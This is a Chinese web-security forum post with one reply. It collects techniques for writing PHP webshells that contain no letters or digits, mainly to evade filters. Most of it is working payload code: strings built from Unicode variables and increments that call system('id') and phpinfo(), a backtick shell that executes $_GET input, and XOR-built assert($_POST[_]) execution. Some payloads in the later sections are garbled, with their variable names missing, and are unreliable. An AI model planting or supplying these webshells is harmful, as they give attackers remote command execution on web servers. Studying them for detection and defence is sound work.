无字母数字webshell进阶收藏版
G0blin WEB安全 10203浏览 · 2020-05-19 01:29

收藏即为会了!!!!!!

还没有看过P神两篇文章的走这里
一些不包含数字和字母的webshell
无字母数字webshell之提高篇

Unicode码运用

1.原理

P神在他文章中指出:

我们可以使用[].Φ来得到字符串Array.
我们可以得到我们想要的构造payload:

使用说明

- 'ArrayΦ'      <-> [].Φ
-  1            <-> ![]
- 'a'           <-> ([])[![]+![]+![]]
- 'b'           <-> $a = 'a'; $b=++$a;
- 'system'      <-> $η.$ν.$η.$θ.$Ω.$α
- 'system'(id)  <-> system('id')


如图,自己构造可能比较麻烦,直接查照上图,如果需要Unicode码,这里找.

/* system(id) */
<?==([].Φ)[![]+![]+![]]?><?==++#b?><?=$Ψ=++$Χ#c?><?=$Ω=++$Ψ#d?><?=$Ϊ=++$Ω#e?><?=$Ϋ=++$Ϊ#f?><?=$ά=++$Ϋ#g?><?=$έ=++$ά#h?><?=$ή=++$έ#i?><?=$ί=++$ή#j?><?=$ΰ=++$ί#k?><?=$α=++$ΰ#l?><?=$β=++$α#m?><?=$γ=++$β#n?><?=$δ=++$γ#o?><?=$ε=++$δ#p?><?=$ζ=++$ε#q?><?=$η=++$ζ#r?><?=$θ=++$η#s?><?=$ι=++$θ#t?><?=$κ=++$ι#u?><?=$λ=++$κ#v?><?=$μ=++$λ#w?><?=$ν=++$μ#x?><?=$ξ=++$ν#y?><?=$ο=++$ξ#z?><?=$ο=([].Φ)[![]+![]+![]]#a?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>

2.缩短

前面我们依次把字母赋值给不同的Unicode码,现在我们可以只用一个Unicode码遍历所有的字母,然后再取值我们需要的那个值.这样就减少了Unicode码的使用.

# phpinfo()
<?==([].Φ)[![]+![]+![]]#a?><?=++$Φ#b?><?=++$Φ#c?><?=++$Φ#d?><?=++$Φ#e?><?=$α=++$Φ#f?><?=++$Φ#g?><?=$ν=++$Φ#h?><?=$θ=++$Φ#i?><?=++$Φ#j?><?=++$Φ#k?><?=++$Φ#l?><?=++$Φ#m?><?=$Ω=++$Φ#n?><?=$λ=++$Φ#o?><?=$η=++$Φ#p?><?=++$Φ#q?><?=++$Φ#r?><?=++$Φ#s?><?=++$Φ#t?><?=++$Φ#u?><?=++$Φ#v?><?=++$Φ#w?><?=++$Φ#x?><?=++$Φ#y?><?=++$Φ#z?><?=($η.$ν.$η.$θ.$Ω.$α.$λ)()?>

3.压榨

前面我们知道可以使用[].Φ 来得到 字符串Array.用![]+![]+![] 得到字符a,那我们不要a,而使用第一个字符A.

- 'a' <-> ([].Φ)[![]+![]+![]]
- 'A' <-> ([].Φ)['']
<?==([].Φ)['']?><?=++?><?=++?><?=++?><?=++?><?==++?><?=++?><?==++?><?==++?><?=++?><?=++?><?=++?><?=++?><?==++?><?==++?><?==++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=++?><?=(......)()?>

补充

1.Unicode补充

<?php
[]=;
=.;
var_dump();#string(10) "ArrayArray"

你懂的!!!

2.数字需要

$Φ=([].Φ)[''];
var_dump($Φ);#string(1) "A"
var_dump(+$Φ);#int(0)

你开心就好!!!

跑题篇

反引号

<?=`{$_GET[_]}`;
#使用十六进制
<?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;

我们可以知道

- ~"\xa0\xb8\xba\xab" <-> "_GET"
- ~"\xa0" <-> "_"
- ${"_GET"}[~"\xa0"] <-> $_GET["\xa0"]
- `{$_GET["\xa0"]}` <-> shell_exec($_GET["\xa0"])

然后我们可以使用?_=id
不过,在大佬指点下,也可以有

?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

少了一个反以后,我们可以使用?%a0=id

异或运算

<?=$_='$<>/'^'{{{{';${$_}[_](${$_}[__]);

# $_= '$<>/' ^ '{{{{' ----> $_ = '_GET'
# ${_GET}[_](${_GET})[__];
# final <?=$_GET[_]($_GET[__])

P神文章中是

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
2 条评论
某人
表情
可输入 255
G0blin
2020-05-19 23:25 0 回复

@奶权 感谢大佬指点


奶权
2020-05-19 02:53 2 回复

其实[].[]就可以构造出'ArrayArray'了,所以根据楼主的规则。



'ArrayArray' => [].[]
0 => ![]^![]
1 => ![]
2 => ![] + ![]
'a' => ([].[])[![]+![]+![]]
'1' => (![].[])[![]^![]]

这样就不需要用unicode字符了,所有需要用到的字符都可以通过xor等方法得到。

再利用php的一些动态特性,甚至可以不用$执行任意代码。如:


'create_function'('', 'phpinfo();')()

将这些字符串按照上面的规则生成就可以了。至于第一个参数的空字符串,可以使用大于某个字符串的长度的下标来获取,如:'' => ([].[])[10]

但是就像p牛在文章里说的,这种shell符号熵太大了,一眼就能看出有问题,所以在实战中还是尽量不使用。